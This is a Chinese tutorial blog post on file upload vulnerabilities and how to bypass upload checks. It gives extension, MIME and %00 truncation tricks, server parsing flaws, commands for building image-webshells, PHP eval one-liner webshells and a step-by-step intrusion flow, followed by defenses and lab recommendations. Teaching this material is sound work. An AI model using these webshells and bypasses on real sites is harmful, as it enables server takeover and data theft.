如何从一名小白成为网安大神(第二十二天)
·
一、学习文件上传漏洞
(一)漏洞原理
文件上传漏洞:网站允许用户上传图片、附件等文件,但未严格校验文件后缀、文件内容、文件路径,导致攻击者可上传可执行脚本(php/aspx/jsp/python 等),访问该文件后服务器执行恶意代码,拿下网站权限。
核心危害
- 上传 webshell,获取网站后台控制权
- 读取服务器敏感文件(数据库配置、账号密码)
- 提权拿下服务器、横向渗透内网
- 篡改页面、挂黑页、挖矿、植入木马
(二)上传校验常见方式(靶场必学)
1. 前端 JS 校验(最简单,可直接绕过)
逻辑:上传按钮点击时,JS 判断后缀是否为 jpg/png/gif,不合格直接拦截,后端无校验。
绕过方法
- 抓包修改:先传合法图片抓包,改文件名为 shell.php 再发送
- 禁用浏览器 JS,直接上传脚本
- Burp Repeater 重放数据包
2. 后端黑名单校验(禁止 php、asp 等后缀)
只拦截危险后缀,容易多重后缀、特殊字符绕过
绕过手段
- 双后缀:
shell.jpg.php、shell.png%00.php(00 截断) - 特殊字符 Windows 兼容:
shell.php(空格)、shell.php.(末尾点)、shell::$DATA - 替换后缀:php3/php5/phtml/htaccess(服务器默认解析)
- 大小写混淆:
Shell.PHP
3. 后端白名单校验(仅允许 jpg/png/gif,防御更强)
只允许指定图片后缀,单纯改文件名无效,需要文件头欺骗 + 图片马
绕过:图片马
- 制作图片马
# windows
copy 1.jpg /b + shell.php /a horse.jpg
# linux
cat 1.jpg shell.php > horse.jpg
- 文件头伪造:文件开头添加
GIF89a骗过文件类型检测 - 配合解析漏洞访问图片马:如
horse.jpg/.php、利用 nginx/apache 解析漏洞执行 php 代码
4. MIME 类型校验(Content-Type)
数据包Content-Type: image/jpeg校验绕过:抓包修改 Content-Type 为图片类型即可
5. 00 截断漏洞(低版本 PHP<5.3.4)
原理:文件名中%00代表字符串结束,服务器截断后面字符示例:shell.jpg%00.php,服务器保存为shell.jpg,访问.php时解析执行
6. 路径可控漏洞
上传路径由前端传参控制,可控文件名 / 路径Payload:
../shell.php目录穿越,上传到网站根目录upload/../shell.php
(三)服务器解析漏洞(上传图片马后必须利用)
1. Nginx 解析漏洞
- 访问
xxx.jpg/.php:nginx 会把 jpg 当作 php 解析执行 - 文件名包含 %00、畸形后缀解析漏洞(旧版本)
2. Apache 解析规则
从后向前识别后缀:shell.php.xxx → 识别 php,执行代码配合.htaccess 自定义解析规则,把 jpg 当作 php 运行
3. IIS 解析漏洞
- IIS6:
xxx.asp;xx.jpg分号截断,执行 asp - IIS7/7.5 类似 nginx 畸形路径解析漏洞
(四)Webshell 基础(上传核心目的)
PHP 一句话木马
<?php eval($_POST['cmd']); ?>
使用蚁剑 / 菜刀连接,密码 cmd,执行系统命令、文件管理
图片马隐藏写法(避免工具查杀)
<?php @eval($_POST['a']); ?>
(五)完整渗透测试流程(实操步骤)
- 寻找上传点:头像上传、文章附件、后台文件管理、留言图片
- 测试前端校验:禁用 JS 直接上传 php,判断是否仅前端过滤
- 抓包测试后缀黑名单:添加空格、点、双后缀、大小写
- 测试 MIME:修改 Content-Type 为 image/jpeg
- 白名单场景:制作图片马,添加 GIF 文件头上传
- 测试 00 截断(PHP 低版本环境)
- 路径穿越:尝试../ 跳转目录
- 上传成功后访问文件,若不执行代码,尝试解析漏洞路径访问
- 工具连接 webshell,控制服务器
(六)常见防御方案(修复漏洞)
- 后端强制白名单,只允许 jpg/png/gif,拒绝黑名单方案
- 重命名上传文件:随机字符串 + 固定图片后缀,消除可控文件名
- 文件存储与网站代码分离,上传目录禁止脚本执行权限
- Apache:上传目录配置
php_flag engine off - Nginx:禁止上传目录解析 php
- Apache:上传目录配置
- 校验文件真实内容:读取文件头校验图片格式,不只用后缀判断
- 过滤特殊字符:%00、点、空格、分号、../ 等路径穿越字符
- 限制上传文件大小,查杀恶意脚本(杀毒引擎)
- 升级中间件、PHP 版本,修复解析、00 截断等历史漏洞
(七)本地实操靶场推荐(练习必备)
- DVWA(文件上传关卡,低 / 中 / 高难度分层学习)
- WebGoat、Upload-labs(专门文件上传 20 关,覆盖所有绕过方法)
- Pikachu 靶场
- BWAPP
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐


所有评论(0)